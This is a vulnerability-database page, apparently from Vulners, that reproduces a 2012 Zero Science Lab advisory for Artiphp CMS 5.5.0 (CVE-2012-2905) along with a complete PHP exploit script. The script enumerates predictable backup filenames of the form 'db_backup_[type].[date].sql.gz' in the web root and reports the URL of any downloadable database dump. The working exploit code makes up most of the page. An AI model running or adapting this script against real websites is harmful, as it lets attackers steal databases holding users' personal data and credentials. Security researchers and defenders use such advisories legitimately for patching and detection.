Lucene search
K

Artiphp CMS 5.5.0 Database Backup Disclosure Exploit

🗓️ 16 May 2012 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 34 Views

Artiphp CMS 5.5.0 Database Backup Disclosure Exploit. Artiphp CMS 5.5.0 stores database backups using backupDB() utility with a predictable file name inside the web root, which can be exploited to disclose sensitive information by downloading the file. The backup is located in '/artzone/artpublic/database/' directory as 'db_backup_[type].[yyyy-mm-dd].sql.gz' filename

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2012-2905
16 May 201200:00
circl
CVE
CVE-2012-2905
21 May 201218:00
cve
Cvelist
CVE-2012-2905
21 May 201218:00
cvelist
EUVD
EUVD-2012-2885
7 Oct 202500:30
euvd
NVD
CVE-2012-2905
21 May 201218:55
nvd
Prion
Improper access control
21 May 201218:55
prion
<?php /*

Artiphp CMS 5.5.0 Database Backup Disclosure Exploit


Vendor: Artiphp
Product web page: http://www.artiphp.com
Affected version: 5.5.0 Neo (r422)

Summary: Artiphp is a content management system (CMS) open
and free to create and manage your website.

Desc: Artiphp stores database backups using backupDB() utility
with a predictable file name inside the web root, which can be
exploited to disclose sensitive information by downloading the
file. The backup is located in '/artzone/artpublic/database/'
directory as 'db_backup_[type].[yyyy-mm-dd].sql.gz' filename.

Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.21
           PHP 5.3.8 / 5.3.9
           MySQL 5.5.20


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2012-5091
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5091.php


15.05.2012

*/

error_reporting(0);

print "\no==========================================================o\n";
print "|                                                          |";
print "\n|\tArtiphp CMS 5.5.0 DB Backup Disclosure Exploit     |\n";
print "|                                                          |\n";
print "|\t\t\tby LiquidWorm                      |\n";
print "|                                                          |";
print "\no==========================================================o\n";

if ($argc < 3)
{
    print "\n\n\x20[*] Usage: php $argv[0] <host><html><body><port>\n\n\n";
    die();
}

$godina_array = array('2012','2011','2010');

$mesec_array = array('12','11','10','09',
		     '08','07','06','05',
		     '04','03','02','01');

$dn_array = array('31','30','29','28','27','26',
		  '25','24','23','22','21','20',
		  '19','18','17','16','15','14',
		  '13','12','11','10','09','08',
		  '07','06','05','04','03','02',
		  '01');

$backup_array = array('full','structure','partial');

$host = $argv[1];
$port = intval($argv[2]);
$path = "/artiphp/artzone/artpublic/database/"; // change per need.

$alert1 = "\033[0;31m";
$alert2 = "\033[0;37m";

foreach($godina_array as $godina)
{
	print "\n\n\x20[*] Checking year: ".$godina."\n\n Scanning: ";
	sleep(2);
	foreach($mesec_array as $mesec)
	{
		foreach($dn_array as $dn)
		{
			print "~";
			foreach($backup_array as $backup)
			{
				if(file_get_contents("http://".$host.":".$port.$path."db_backup_".$backup.".".$godina."-".$mesec."-".$dn.".sql.gz"))
				{
					print "\n\n\x20[!] DB backup file discovered!\n\n";
					echo $alert1;
					print "\x20==&gt;\x20";
					echo $alert2;
					die("http://".$host.":".$port.$path."db_backup_".$backup.".".$godina."-".$mesec."-".$dn.".sql.gz\n");
				}
			}
		}
	}
}

print "\n\n\x20[*] Zero findings.\n\n\n"

?&gt;
</port></body></html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation